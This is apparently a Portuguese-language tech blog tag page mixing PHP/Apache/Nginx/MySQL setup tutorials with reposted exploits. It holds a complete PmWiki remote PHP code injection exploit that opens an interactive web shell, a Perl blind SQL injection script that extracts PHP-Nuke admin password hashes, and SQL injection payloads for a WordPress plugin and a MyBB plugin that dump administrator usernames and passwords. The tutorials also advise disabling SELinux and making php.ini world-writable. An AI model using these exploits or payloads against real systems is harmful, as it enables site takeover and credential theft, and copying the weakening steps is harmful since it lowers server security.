Browsed by
Tag: php

PHP Warning: Module ‘timezonedb’ already loaded in Unknown on line 0

PHP Warning: Module ‘timezonedb’ already loaded in Unknown on line 0

Para resolver isto é simples, entre no arquivo php.ini (em rhel based pode ser encontrado em /usr/local/lib/php.ini), bastando apenas entrar e remover as linhas duplicadas que contém:


Removendo as linhas duplicadas rode: service httpd restart ou /etc/init.d/apache2 restart e curta!

Failed loading /usr/lib/php/modules/ /usr/lib/php/modules/ cannot restore segment prot after reloc: Permission denied

Failed loading /usr/lib/php/modules/ /usr/lib/php/modules/ cannot restore segment prot after reloc: Permission denied

Depois de instalar tudo em seu servidor Centos (falo de ambiente lamp2 no centos), ao instalar o ioncube você percebe a mensagem de erro:

Failed loading /usr/lib/php/modules/  /usr/lib/php/modules/ cannot restore segment prot after reloc: Permission denied

Calma, nem você é do mal e nem seu servidor, isso ocorre por que o SELinux está monitorando as coisas, permissões e etc, teremos de desativar o danado :(,

Para desativarmos o SELINUX devemos seguir os passos abaixo:


PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit

PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit


    PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
    author...............: Egidio Romano aka EgiX
    mail.................: n0b0d13s[at]gmail[dot]com
    software link........:
    affected versions....: from 2.0.0 to 2.2.34
    | This proof of concept code was written for educational purpose only.    |
    | Use it at your own risk. Author will be not responsible for any damage. |
    [-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php
    452.      $code = '';
    453.      foreach($opt['=order'] as $o => $r) {
    454.        if (@$PageListSortCmp[$o])
    455.          $code .= "\$c = {$PageListSortCmp[$o]}; ";
    456.        else
    457.          $code .= "\$c = @strcasecmp(\$PCache[\$x]['$o'],\$PCache[\$y]['$o']); ";
    458.        $code .= "if (\$c) return $r\$c;\n";
    459.      }
    460.      StopWatch('PageListSort sort');
    461.      if ($code)
    462.        uasort($list,
    463.               create_function('$x,$y', "global \$PCache; $code return 0;"));
    464.      StopWatch('PageListSort end');
    Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used
    in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.
    Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable.
    [-] Disclosure timeline:
    [09/11/2011] - Vulnerability discovered
    [11/11/2011] - Issue reported to
    [11/11/2011] - Version 2.2.35 released:
    [12/11/2011] - CVE number requested
    [15/11/2011] - Assigned CVE-2011-4453
    [23/11/2011] - Public disclosure
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
    if (!($sock = fsockopen($host, 80)))
        die("\n[-] No response from {$host}:80\n");
    fputs($sock, $packet);
    return stream_get_contents($sock);
print "\n+------------------------------------------------------------+";
print "\n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |";
print "\n+------------------------------------------------------------+\n";
if ($argc < 3)
    print "\nUsage......: php $argv[0] <host> <path>\n";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /pmwiki/\n";
$host = $argv[1];
$path = $argv[2];
$phpcode = "']);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(___);die;#";
$payload = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)";
$packet  = "POST {$path}pmwiki.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if (!preg_match("/Location/", http_send($host, $packet))) die("\n[-] Edit password required?!\n");
$packet  = "POST {$path}pmwiki.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Content-Length: 11\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\nn=Cmd.Shell";
    print "\npmwiki-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $response = http_send($host, sprintf($packet, base64_encode($cmd)));
    preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");




PHP-Nuke <= (Downloads) Remote Blind SQL Injection

PHP-Nuke <= (Downloads) Remote Blind SQL Injection


# [0-Day] PHP-Nuke <= (Downloads) Remote Blind SQL Injection
# Date: 2010.07.04 after 50 days the bug was discovered.
# Author/s: Dante90, WaRWolFz Crew
# Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770,
#               Shades Master, V1R5, yeat
# Special Greetings To: The:Paradox
# Greetings To: Shotokan-The Hacker, _mRkZ_, h473
# Web Site:
# My Wagend (Dante90):
# ----
# Why have I decided to publish this?
# Because some nice guys (Dr.0rYX and Cr3w-DZ) have ripped and published
# my own exploit, with their names.
# ----
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Headers;
use Time::HiRes;
my $Victime  = shift or &usage;
my $Hash = "";
my ($Referer,$Time,$Response);
my ($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $HostName = ""; #Insert Victime Web Site Link
my $Method = HTTP::Request->new(POST => $HostName.'modules.php?name=Downloads&d_op=Add');
my $Cookies = new HTTP::Cookies;
my $UserAgent = new LWP::UserAgent(
            agent => 'Mozilla/5.0',
            max_redirect => 0,
            cookie_jar => $Cookies,
            default_headers => HTTP::Headers->new,
        ) or die $!;
my $WaRWolFz = "";
my $DefaultTime = request($WaRWolFz);
my $Post;
sub Blind_SQL_Jnjection {
    my ($dec,$hex,$Victime) = @_;
    return "' UNION/**/SELECT IF(SUBSTRING(pwd,${dec},1)=CHAR(${hex}),benchmark(250000000,CHAR(0)),0) FROM nuke_authors WHERE aid='${Victime}";
for(my $I=1; $I<=32; $I++){ #N Hash characters
    for(my $J=0; $J<=15; $J++){ #0 -> F
        $Post = Blind_SQL_Jnjection($I,$chars[$J],$Victime);
        $Time = request($Post);
        refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
        if ($Time > 4) {
            $Time = request($Post);
            refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
            if ($Time > 4) {
                $Hash .= chr($chars[$J]);
                $Time = request($Post);
                refresh($HostName, $DefaultTime, $chars[$J], $Hash, $Time, $I);
    if($I == 1 && length $Hash < 1 && !$Hash){
        print " * Exploit Failed                                       *\n";
        print " -------------------------------------------------------- \n";
    if($I == 32){
        print " * Exploit Successfully Executed                        *\n";
        print " -------------------------------------------------------- \n";
sub request{
    $Post = $_[0];
    $Start = Time::HiRes::time();
    my $Response = $UserAgent->post($HostName.'modules.php?name=Downloads&d_op=Add', {
                    title => "Dante90",
                    url => $Post,
                    description => "WaRWolFz Crew",
                    auth_name => "Dante90",
                    email => "dante90.dmc4\",
                    filesize => "1024",
                    version => "1",
                    homepage => "",
                    d_op => "Add"
                Referer => $HostName.'modules.php?name=Downloads&d_op=Add');
    $Response->is_success() or die "$HostName : ", $Response->message, "\n";
    $End = Time::HiRes::time();
    $Time = $End - $Start;
    return $Time;
sub usage {
        print " \n [0-Day] PHP-Nuke <= (Downloads) Remote Blind SQL Injection Exploit\n";
        print " -------------------------------------------------------- \n";
        print " * USAGE:                                               *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\             *\n";
        print " * perl [victime]                       *\n";
        print " -------------------------------------------------------- \n";
        print " *          Powered By Dante90, WaRWolFz Crew           *\n";
        print " * - dante90_founder[at]  *\n";
        print " ------------------------------------------------------- \n";
sub refresh {
        print " \n [0-Day] PHP-Nuke <= (Downloads) Remote Blind SQL Injection Exploit\n";
        print " -------------------------------------------------------- \n";
        print " * USAGE:                                               *\n";
        print " * cd [Local Disk]:\\[Directory Of Exploit]\\             *\n";
        print " * perl [victime]                       *\n";
        print " -------------------------------------------------------- \n";
        print " *          Powered By Dante90, WaRWolFz Crew           *\n";
        print " * - dante90_founder[at]  *\n";
        print " ------------------------------------------------------- \n";
    print " * Victime Site: " . $_[0] . "\n";
    print " * Default Time: " . $_[1] . " seconds\n";
    print " * BruteForcing Hash: " . chr($_[2]) . "\n";
    print " * BruteForcing N Char Hash: " . $_[5] . "\n";
    print " * SQL Time: " . $_[4] . " seconds\n";
    print " * Hash: " . $_[3] . "\n";

#WaRWolFz Crew



Como remover caracteres ^M de arquivos usando VIM/VI (vale para qualquer UNIX-like)

Como remover caracteres ^M de arquivos usando VIM/VI (vale para qualquer UNIX-like)

Bom, galera, quem aqui nunca abriu um arquivo no console que apresentou caracteres ^M?
Normalmente essas pragas aparecem ou com o Dreamweaver ou com Word (cópia) – Área de Transferência, depois os caras costumam enviar por ftp e daí já sabe né? Se abrir o arquivo via console tá lá a praga!

Bem, a dica que nós do AppUnix vamos dar é simples, porém eficaz.

Abrindo seu vi/vim (no exemplo abaixo iremos dar o nome do arquivo como sendo crash.php):

vim crash.php

Assim que o arquivo for aberto o vi/vim estará em modo de comando, para ativar execuções aperte “:” (literalmente os 2 pontos SEM ASPAS) e digite o seginte %s/ (percentual, depois, s e depois / )  e em seguida aperte CTRL+V e CTRL+M e por fim digite //g

Na linha de execução do vi/vim vai aparecer literalmente isso aqui abaixo:


Apertamdo ENTER ele vai remover toda a praga dos caracteres ^M.


Abraços galera.

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Como instalar Apache 2, Mysql 5 e php 5 no Mac Os X LION 10.7.x (testado 10.7.1)

Este artigo vai parecer muito com a instalação do apache, php e mysql sob mac os x snow leopard, porém existem algumas particularidades que precisam ser detalhadas. Antemão parte do artigo do mamp sob snow leopard será copiado, depois, iremos detalhar pontos MUITO importantes para que tudo funcione corretamente. Estamos testando em um hackintosh LION (10.7.1), literalmente current (updates mais novas).

Vamos lá:

No outro artigo, para habilitarmos o apache usamos o comando com poder de root (sudo) para ativar o web server, mas agora isto só é permitido sem stress via Preferências do Sistema -> Sharing (compartilhamento) e marcando o Web Server (compartilhamento de arquivos web), lhe mostraremos imagens abaixo:

Abrindo o menu de sharing para apache
Abrindo o menu de sharing para apache
Clicando em compartilhamento de páginas web
Clicando em compartilhamento de páginas web

Note acima que clicamos em COMPARTILHAMENTO junto as preferências de sistema e em seguida marcamos o compartilhamento do apache (páginas web). Toda mudança significativa do mac faz controle de permissões (segurança), por isso coloque seu login e senha para autorizar a mudança.

Feito isto teremos de entrar no conf do apache para liberarmos o php5, veja os passos que diremos.

Nosso segundo ponto e muito importante é entrar no arquivo de configuração do apache 2 afim de habilitarmos o suporte ao PHP, vamos por a mão na massa? Estamos usando o VIM, um editor muito eficaz e leve (todos que já amaram o vi um dia com certeza amam/amarão o vim):

Little-oaks-appunixlabs:~ sudo vim /etc/apache2/httpd.conf


Dentro deste arquivo devemos remover o comentário da linha abaixo:

LoadModule php5_module libexec/apache2/

Recomendo que aperte a tecla / no vim e digite php5, você já vai cair em cima da linha a ser descomentada, em seguida, no sinal de libra (#), caminhe até ele e aperte x
Isto nos deixará com suporte ao PHP, depois basta apertar ESC e digitar isto:
Assim que pressionar ENTER o arquivo será salvo.
Vamos explicar o por que de :wq!

: representa comando para o arquivo
W representa ESCREVER
Q representa QUIT (sair)
! representa EXECUTAR as instruções informadas

Para finalizarmos o suporte ao php precisamos rodar o seguinte comando:

Little-oaks-appunixlabs:~ sudo apachectl restart

É mania de todos criar um arquivo com a função phpinfo() contida nele, porém, se fizermos isso “de cara” o apache vai exibir muitos warnings (interpretados pelo php) por questões de permissões e de existência do arquivo php.ini. Para sanarmos isto deveremos fazer o seguinte:

Little-oaks-appunixlabs:~ cd /etc
Little-oaks-appunixlabs: sudo cp php.ini.default php.ini
Little-oaks-appunixlabs: sudo chmod 666 php.ini

Estamos copiando o php.ini default do /etc (área de arquivos de configurações em Unix-like systems) e atribuindo permissões 666 (dono pode ler e escrever no arquivo, grupo também e demais também).
No arquivo php.ini temos de localizar o trecho aonde o TimeZone é identificado (mas está comentado). É muito importante mudar esta linha e ajustarmos nosso timezone corretamente, pois isto nos dará um horário adequado. Para isto devemos proceder da seguinte forma:
Little-oaks-appunixlabs: sudo vim php.ini
Em seguida aperte a tecla / para localizar um termo, informe o seguinte date.timezone, isto lhe deixará na linha acima da que precisamos mudar. Descomente a linha abaixo para que fique assim:
date.timezone =

Você removerá o ; apertando x em cima dele. Para deixarmos o vim em modo de edição de arquivos precisamos apertar a tecla i, isto nos dará poder de editar o arquivo (saindo de modo comando).
Agora iremos colocar depois do = o seguinte:
Então o resultado final será —> date.timezone = America/Sao_Paulo
Dê ESC e digite
Aperte ENTER e terá o arquivo salvo.


As vezes você pode estar se perguntando:

Poxa, mas meu timezone não tem nada a ver com o de Sampa, o que faço?
Relaxa, rapá! A galera do Appunix pensou em você! Abaixo segue a lista de timezone da América:

Se mesmo assim não lhe agradar você pode usar os globais:

Mas é impossível você não se agradar dos timezones da América, são repletos.
Os mais comuns que são usados são:
Mas escolha o que mais lhe agradar.

Assim que decidir qual seu TimeZone você deve reiniciar o apache para reler o php.ini e ativar o negócio:
Little-oaks-appunixlabs: sudo apachectl restart

Agora precisamos instalar o Mysql 5 para que possa trabalhar da forma que almejamos.
Para irmos direto ao ponto acesse o link abaixo:
Se cuide para baixar a versão ideal para você.
Aí é 64 bits? Não sabe como é? Quer saber como seu Mac Os X LION está operando? Clique na maça, depois clique em Sobre Este MAC, em seguida clique em Software (Categoria) e procure pela linha Kernel de 64-bit e Extensões: Sim (conforme a foto abaixo):

como ver informações do seu mac os x
como ver informações do seu mac os x

Caso seja Sim é 64 bits (x86_64), então baixe o pacote para 64 bits.
Vamos simbora?
Baixe o arquivo x86_64 no formato DMG.

baixar pacote mysql 64 bits (DMG)
baixar pacote mysql 64 bits (DMG)

baixar pacote mysql 64 bits (DMG)

Quando você clicar no formato DMG automaticamente o site da Mysql vai te convidar a logar-se lá com eles, mas basta prestar a atenção (conforme imagens abaixo) para não precisar perder tempo com esta burocracia, se você quer baixar direto (melhor Né?) basta fazer o seguinte, clique no link abaixo:
Deixa o download terminar siga os passos das fotos abaixo (literalmente instalar o mysql e seu ícone), Devemos concluir os passos extras para adição do Mysql como sendo parte do painel administrativo, para isto siga os passos abaixo:



Temos de focar em um ponto em comum.

Temos um script na pasta de download que abrimos (do MYSQL).
Veja o seguinte, MYSQL.PREFPANE é um script que serve para adicionar o script (ícone) de inicialização do MYSQL dentro das preferências do sistema, por isso DEVEMOS executar ele sim, autorizando-o com a senha do usuário. (sem isso teremos de inicializar na mão com o comando mysqld (VIXE, mac é praticidade RAPÁ!)

Feito isto iremos confirmar se o mysql está rodando com o seguinte comando (dentro do terminal):

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Substitua little_oak por SEU_USUÁRIO.

Isto fará com que você esteja dentro do mysql (Via terminal).

Veja como abrir o terminal:

Façamos o seguinte, clique em terminal (veja a imagem abaixo):

como abrir terminais no mac os x
como abrir terminais no mac os x

como abrir terminais no mac os x

Feito isto iremos reiniciar o apache 2 para garantir que o nosso servidor está integrando literalmente tudo, faremos com o seguinte comando:

Little-oaks-appunixlabs: sudo apachectl restart

Para conferirmos tudo vamos entrar dentro da nossa pasta pessoal, na pasta Sites e criar um arquivo chamado index.php. Dentro dele iremos colocar o seguinte (ISTO EM /Library/WebServer/Documents):
Ou seja -> sudo vim /Library/WebServer/Documents/index.php

< ?php phpinfo(); ?>


Quando citamos a parte do mysql, praticamente contorna a viagem de redefinir a senha de root. Se dermos ouvidos ao Mágico de OZ e inventarmos redefinir senhas vamos brincar com isso ó:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysqld –skip-grant-tables –user=root

grant all…

flush privileges e talz, NÃO PRECISA DISSO, o mac entende que você é um cara que é punk no sistema, que só dá sudo quando sabe o que tá fazendo.

Para conferir como alterar a senha de root do mysql basta clicar no nosso artigo de como redefinir a senha de root no mysql dentro do mac os x lion sem complicações.


Como a galera está falando muito de MCRYPT no Mac Os X Lion, o path padrão dele é /usr/share/file/magic/mcrypt
, se quiser descomente a linha do mcrypt no php.ini e mande ficha.


Uma coisa massa, se você quer ver a documentação do apache meta bala em http://localhost/manual/, veja a imagem abaixo:


manual do apache
manual do apache


Se você curtiu esse post dê share :P

Mysql não aceita senha de root no Mac os X Lion, o que fazer? (serve para o snow leopard)

Mysql não aceita senha de root no Mac os X Lion, o que fazer? (serve para o snow leopard)

Bom, pessoal, nós do app gostaríamos de detalhar algo.
NÃO precisa ter senha de root para operar o mysql, isto dá-se em detrimento ao poder de root, porém com certas restrições que cada usuário do sistema possui.

Se eu quiser entrar no mysql para criar base de dados e trabalhar com o bd (após seguir nosso how to de instalação do apache, php, e mysql no mac os x lion ou instalação do apache, php, e mysql no mac os x snow leopard


) basta fazer o seguinte:

Mac-Pro-de-little-oak:etc little_oak$ sudo /usr/local/mysql/bin/mysql –user=little_oak

Pronto, você precisa lembrar que –user=little_oak deve ser susbsituído por –user=usuário_do_SEUMAC

Depois disso trabalhe normalmente.

Perceba uma coisa forte, o MAC OS X não precisa de root para fazer as coisas (dentro do mysql), ele já sabe que você, usando sudo É O CARA, por isso basta rodar este comando no terminal:

Little-oaks-appunixlabs: /usr/local/mysql/bin/mysql –user=little_oak

Troque o little_oak por seu usuário. Depois disso é só alegria.

Abraços galera e clique em SHARE, please!

WordPress Event Registration plugin <= 5.4.3 SQL Injection

WordPress Event Registration plugin <= 5.4.3 SQL Injection

# Exploit Title: WordPress Event Registration plugin < = 5.4.3 SQL Injection Vulnerability # Date: 2011-08-30 # Author: Miroslav Stampar (miroslav.stampar(at) @stamparm) # Software Link: # Version: 5.4.3 (tested) # Note: magic_quotes has to be turned off --- PoC ---' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

Vulnerable code
$id= $_REQUEST['id'];
$sql = "SELECT * FROM " . $events_detail_tbl . " WHERE id='$id'";
$result = mysql_query($sql);


Como instalar Nginx PHP5 e Mysql no CentOS 5.6

Como instalar Nginx PHP5 e Mysql no CentOS 5.6

A pronúncia correta do Nginx é “engin-ex”, mas vamos nos ater aos comandos que é o melhor que podemos fazer, né? NÃO sem antes falar que essa besteirinha segura “somente” milhões de acessos por dia ao site WordPress, por isso CONFIE e USE nginx sem QUALQUER medo! (existe plugin pago e grátis para o Cpanel, mas recomendamos que use o plugin free sob CENTOS senão seu cpanel vai sobrescrever os confs de vhosts do nginx).

Primeiro estou imaginando que seu ip será igual o meu ->

Vamos instalar o Mysql?

[email protected]:# yum clean all && yum update -y && yum install mysql mysql-server -y

O -y acima manda o yum instalar as coisas sem pedir confirmações.

Assim que terminarmos a instalação deveremos dar autoridade ao mysql para que possa iniciar assim que o server for inicializado (estilo pós reboot :P ):

[email protected]:# chkconfig –levels 235 mysqld on

E vamos inicializar o bichão:

[email protected]:# /etc/init.d/mysqld start

Se quisermos verificar se a porta do Mysql está aberta (funcionando) podemos usar o netstat -tap | grep mysql.

Agora precisamos editar o conf do mysql para deixar a conectividade dele filé:

[email protected]:# vim /etc/my.cnf

Devemos achar a linha skip-networking e colocar um sinal de libra (#) para comentar essa instrução:


Podemos localizar este termo usando / e digitando skip-networking no modo comando do vim (basta apertar o ESC e depois apertar /).

Vamos validar o trem?

[email protected]:# /etc/init.d/mysqld restart

Devemos agora aplicar as correções de segurança do Mysql para desativar test user, definir senha de root… Bora simbora?

[email protected]:# mysql_secure_installation


In order to log into MySQL to secure it, we’ll need the current
password for the root user. If you’ve just installed MySQL, and
you haven’t set the root password yet, the password will be blank,
so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on…

Setting the root password ensures that nobody can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] < – APERTE ENTER New password: <– DIGITE A SENHA DE ROOT DO MYSQL Re-enter new password: <– REPITA A SENHA DE ROOT DO MYSQL Password updated successfully! Reloading privilege tables.. … Success! By default, a MySQL installation has an anonymous user, allowing anyone to log into MySQL without having to have a user account created for them. This is intended only for testing, and to make the installation go a bit smoother. You should remove them before moving into a production environment. Remove anonymous users? [Y/n] <– ENTER PARA CONFIRMAR … Success! Normally, root should only be allowed to connect from ’localhost’. This ensures that someone cannot guess at the root password from the network. Disallow root login remotely? [Y/n] <– ENTER PARA CONFIRMAR … Success! By default, MySQL comes with a database named ’test’ that anyone can access. This is also intended only for testing, and should be removed before moving into a production environment. Remove test database and access to it? [Y/n] <– ENTER PARA CONFIRMAR - Dropping test database… … Success! - Removing privileges on test database… … Success! Reloading the privilege tables will ensure that all changes made so far will take effect immediately. Reload privilege tables now? [Y/n] <– ENTER PARA CONFIRMAR … Success! Cleaning up… All done! If you’ve completed all of the above steps, your MySQL installation should now be secure. Thanks for using MySQL!

Hora de instalarmos o Nginx, bora simbora? Pera! Antes de irmos temos de ajustar o repositório primeiro, para isto temos de fazer o seguinte:

[email protected]:# cd /etc/yum.repos.d/

[email protected]:# wget

Pronto, precisamos agora somente editar o conf do repositório extra:

[email protected]:# vim /etc/yum.repos.d/kbsingh-CentOS-Extras.repo

Precisamos deixar nosso conf parecido com este:

# pkgs in the -Testing repo are not gpg signed
name=CentOS.Karan.Org-EL$releasever - Testing

No gpgcheck temos de deixar 1.

Salvando e saindo do arquivo iremos deixar a casa arrumada:

[email protected]:# yum update && yum install nginx -y

Agora teremos de colocar o nginx com direito de iniciar-se no momento do boot do server e depois disto validar este parâmetro:

[email protected]:# chkconfig –levels 235 nginx on
[email protected]:# /etc/init.d/nginx start

Para conferirmos que ficou filé basta abrir o navegador e digitar, isto vai mostrar o container moendo :P.

Agora precisamos instalar o php, integrá-lo e ativar o suporte fastcgi. Para isto iremos abusar do yum (pra variar):

[email protected]:# yum install lighttpd-fastcgi php-cli php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc php-mbstring php-mcrypt php-mssql php-snmp php-soap php-tidy -y

Agora precisamos editar o php.ini para dar suporte ao fastcgi:

[email protected]:# vim /etc/php.ini

No padrão cgi.fix_pathinfo = 0 deixe cgi.fix_pathinfo = 1 (use a localização do vim a qual citamos neste post).

Vamos inicar agora o suporte ao FastCgi do PHP na porta 9000:

[email protected]:# /usr/bin/spawn-fcgi -a -p 9000 -u nginx -g nginx -f /usr/bin/php-cgi -P /var/run/

Agora devemos colocar essa instrução junto ao rc.local pra o bicho iniciar sozinho no momento do boot:

[email protected]:# vim /etc/rc.local

Coloque isto no arquivo: /usr/bin/spawn-fcgi -a -p 9000 -u nginx -g nginx -f /usr/bin/php-cgi -P /var/run/

Precisamos corrigir o keepalive do conf do nginx e mais coisas :(.

[ ... início do arquivo ... ]
worker_processes 5;
[... meio do arquivo ...]
keepalive_timeout 2;
[... fim do arquivo ...]

Precisamos criar o nosso default host :P, para isto temos de mudar a área do container do server:

server {
listen 80;
server_name _;

#charset koi8-r;

#access_log logs/host.access.log main;

location / {
root /usr/share/nginx/html;
index index.php index.html index.htm;

error_page 404 /404.html;
location = /404.html {
root /usr/share/nginx/html;

# redirect server error pages to the static page /50x.html
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;

# proxy the PHP scripts to Apache listening on
#location ~ \.php$ {
# proxy_pass;

# pass the PHP scripts to FastCGI server listening on
location ~ \.php$ {
root /usr/share/nginx/html;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name;
include fastcgi_params;

# deny access to .htaccess files, if Apache's document root
# concurs with nginx's one
location ~ /\.ht {
deny all;

server_name é a parte que valida nome canônico (
location / adicionamos index.php como sendo prioridade na abertura de arquivos (o default da vida).
A pasta de arquivos (o que seria um public_html ou www, ou ainda um httpdocs da vida) é /usr/share/nginx/html. (document root)
O principal deste arquivo é esta parte -> location ~ \.php$ {}, devemos descomentar a mesma para que esteja validada.
Se não mudarmos fastcgi_param para fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html$fastcgi_script_name; o php não conseguirá interpretar os scripts subjacentes no path (document root).

Bora meter o pau e ver como tudo ficou bombado?

[email protected]:# /etc/init.d/nginx restart

E para ver que a parada está de fato funcionando/bombando/matando a pau devemos usar qualquer coisa do php para interpretação (testes), podemos usar o phpinfo mesmo. Para isto faça o seguinte:

[email protected]:# vim /usr/share/nginx/html/index.php

Dentro dele coloque o seguinte:

< ?php phpinfo(); ?>

Depois disso, para testificarmos que a parada tá rodando devemos acessar por nosso navegador



nginx Wiki:

MyBB MyTabs (plugin) 0day SQL injection vulnerability

MyBB MyTabs (plugin) 0day SQL injection vulnerability

MyBB 0day \ MyTabs (plugin) SQL injection vulnerability

# Exploit title : MyBB 0day \ MyTabs (plugin) SQL injection vulnerability.
# Author: AutoRUN & dR.sqL
# Home : HackForums.AL , Autorun-Albania.COM , HackingWith.US ,
# Date : 01 \ 08 \ 2011
# Tested on : Windows XP , Linux
# Category : web apps
# Vulnerable Software Link :
# Google dork : Use your mind kid ^_^ !

Vulnerability :

$~ http://localhost/mybbpath/index.php?tab=[SQLi]

# ~ Expl0itation ~ #

$~ Get the administrator’s username (usually it has uid=1) ~

http://localhost/mybbpath/index.php?tab=1′ and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)– –

$~ Get the administrator’s password ~

http://localhost/mybbpath/index.php?tab=1′ and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)– –

_ _ ____ _ _ _ _ _ _ ____ _
/ \ _ _| |_ ___ | _ \| | | | \ | | __ _ _ __ __| | __| | _ \ ___ __ _| |
/ _ \| | | | __/ _ \| |_) | | | | \| | / _ | '_ \ / _ | / _ | |_) | / __|/ _ | |
/ ___ \ |_| | |_ (_) | _ /_/ \_\__,_|\__\___/|_| \_\\___/|_| \_| \__,_|_| |_|\__,_| \__,_|_| \_(_)___/\__, |_____|

# Greetz : Programer , Dr.moka, eragon, BaDBoY-AL , z3r0w1zard , Red Dragon_aL , Pretorian ,Th3_Power , R-t33n , Ace Wizard, KubaNnez1 , ssgodfather, DJDukli , b4ti , CroSs HackForums.AL members & All our friends.

____ _ ____ ____ _ _ _ _ _
| _ \ _ __ ___ _ _ __| | |___ \| __ ) / \ | | |__ __ _ _ __ (_) __ _ _ __ | |
| |_) | ‘__/ _ \| | | |/ _ | __) | _ \ / _ \ | | '_ \ / _ | ‘_ \| |/ _` | ‘_ \ | |
| __/| | | (_) | |_| | (_| | / __/| |_) | / ___ \| | |_) | (_| | | | | | (_| | | | | |_|
|_| |_| \___/ \__,_|\__,_| |_____|____/ /_/ \_\_|_.__/ \__,_|_| |_|_|\__,_|_| |_| (_)

# 2011